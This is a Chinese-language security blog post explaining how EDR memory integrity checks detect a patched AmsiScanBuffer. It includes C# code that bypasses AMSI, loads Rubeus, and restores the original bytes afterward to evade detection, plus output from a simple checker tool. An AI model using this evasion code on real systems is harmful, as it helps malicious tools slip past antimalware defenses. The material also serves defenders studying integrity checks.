前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >绕过内存完整性检查

绕过内存完整性检查

原创
作者头像
Khan安全团队
发布2021-12-29 16:22:11
1.1K0
发布2021-12-29 16:22:11
举报
文章被收录于专栏:Khan安全团队Khan安全团队

该过程涉及:

  1. 在内存中查找 AmsiScanBuffer 的位置。
  2. 将内存权限更改为 RWX。
  3. 复制修补过的字节。
  4. 将内存区域恢复回 RX。

在这发生之后,这个过程对于不经意的观察者来说看起来并没有什么不同。由于我们只更改了地址空间中可能的数十万个字节中的约 6 个字节,因此它被看到的可能性有多大?

执行用户态 DLL 注入的防御性产品(例如 EDR)可以对模块代码的敏感部分执行完整性检查。因此,如果某些内容已更改并且当时没有被捕获(可能通过使用syscalls),则可以在事后检测到(假设进程仍然存在)并随后发出警报。

这在某种程度上取决于攻击性工具的相关性。例如,Cobalt Strike 的 Beacon 对其许多 post-ex 命令使用 fork and run 模式。它将产生一个临时进程,向其中注入 post-ex 功能,通过命名管道获取结果,然后终止该进程。如果该 post-ex 功能执行诸如修补 AmsiScanBuffer 之类的操作,它可能不会存在足够长的时间来真正担心完整性检查。Covenant 的 Grunt 等其他工具会在其内部执行所有操作——因此只要植入物还活着,这些对其内存的修改就会持续存在。

考虑以下:

代码语言:javascript
复制
static void Main(string[] args)
{
    var amsi = new AmsiBypass();

    // Bypass AMSI
    amsi.Execute();

    // Load Rubeus
    var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
    var asm = Assembly.Load(rubeus);

    asm.EntryPoint?.Invoke(null, new object[]{ Array.Empty<string>() });
}

绕过允许我们加载 Rubeus 并执行我们想要的任何方法。都好。

但是,如果我们在这个过程中对 AmsiScanBuffer 进行完整性检查,我们可以推断它确实被篡改了。

代码语言:javascript
复制
PS C:\Users\Daniel\source\repos\IntegrityDemo\MonitorApp> dotnet run 22664
========================
 AmsiScanBuffer Checker
========================

Target Process: MaliciousApp
AmsiScanBuffer: 0x7FFE26AA0000

AmsiScanBuffer tamper detected!

从概念上讲,它的操作非常简单:

  1. 从磁盘加载 amsi.dll。
  2. 找到 AmsiScanBuffer 并读取前 10 个字节。
  3. 在目标进程中找到 AmsiScanBuffer 并读取前 10 个字节。
  4. 比较两个字节数组。

如果数组不匹配,则该函数已在进程的内存中(或不太可能的文件中)发生更改。

从防御的角度来看,这种方法有一些明显的缺点——我们只检查 AmsiScanBuffer 而没有检查其他导出的函数;并且只有函数的前 10 个字节。然而,根据我的经验,大多数人只会复制/粘贴他们在互联网上找到的绕过*咳咳*,所以这是一个很好的简单的果实。

如果我们想改进绕过,我们可以复制原始 AmsiScanBuffer 字节,然后在我们执行了我们想要的恶意内容后恢复它们。

这可能看起来像这样:

代码语言:javascript
复制
public void Execute()
{
    // Load amsi.dll and get location of AmsiScanBuffer
    var lib = LoadLibrary("amsi.dll");
    _asbLocation = GetProcAddress(lib, "AmsiScanBuffer");

    var patch = GetPatch;

    // Take a backup of AmsiScanBuffer bytes
    _backup = new byte[patch.Length];
    Marshal.Copy(_asbLocation, _backup, 0, patch.Length);

    // Set region to RWX
    // Copy patch
    // Restore region to RX
}

然后实现一个将原始字节复制回来的恢复方法:

代码语言:javascript
复制
public void Restore()
{
    // Set region to RWX
    _ = VirtualProtect(_asbLocation, (UIntPtr)_backup.Length, 0x40, out uint oldProtect);

    // Copy bytes back
    Marshal.Copy(_backup, 0, _asbLocation, _backup.Length);

    // Restore region to RX
    _ = VirtualProtect(_asbLocation, (UIntPtr)_backup.Length, oldProtect, out uint _);
}

然后在我们的恶意应用程序中:

代码语言:javascript
复制
static void Main(string[] args)
{
    var amsi = new AmsiBypass();

    // Bypass AMSI
    amsi.Execute();

    // Load Rubeus
    var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
    var asm = Assembly.Load(rubeus);

    asm.EntryPoint?.Invoke(null, new object[]{ Array.Empty<string>() });

    // Restore AMSI
    amsi.Restore();
}
代码语言:javascript
复制
PS C:\Users\Daniel\source\repos\IntegrityDemo\MonitorApp> dotnet run 22516
========================
 AmsiScanBuffer Checker
========================

Target Process: MaliciousApp
AmsiScanBuffer: 0x7FFE26AA0000

AmsiScanBuffer is fine  ¯\_(ツ)_/¯

Rubeus 仍然按预期执行,但是当对进程运行“检查”时,没有发现篡改。这种完整性检查方法可能仅在它碰巧在执行绕过和恢复字节之间的狭窄时间范围内运行时才有效。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档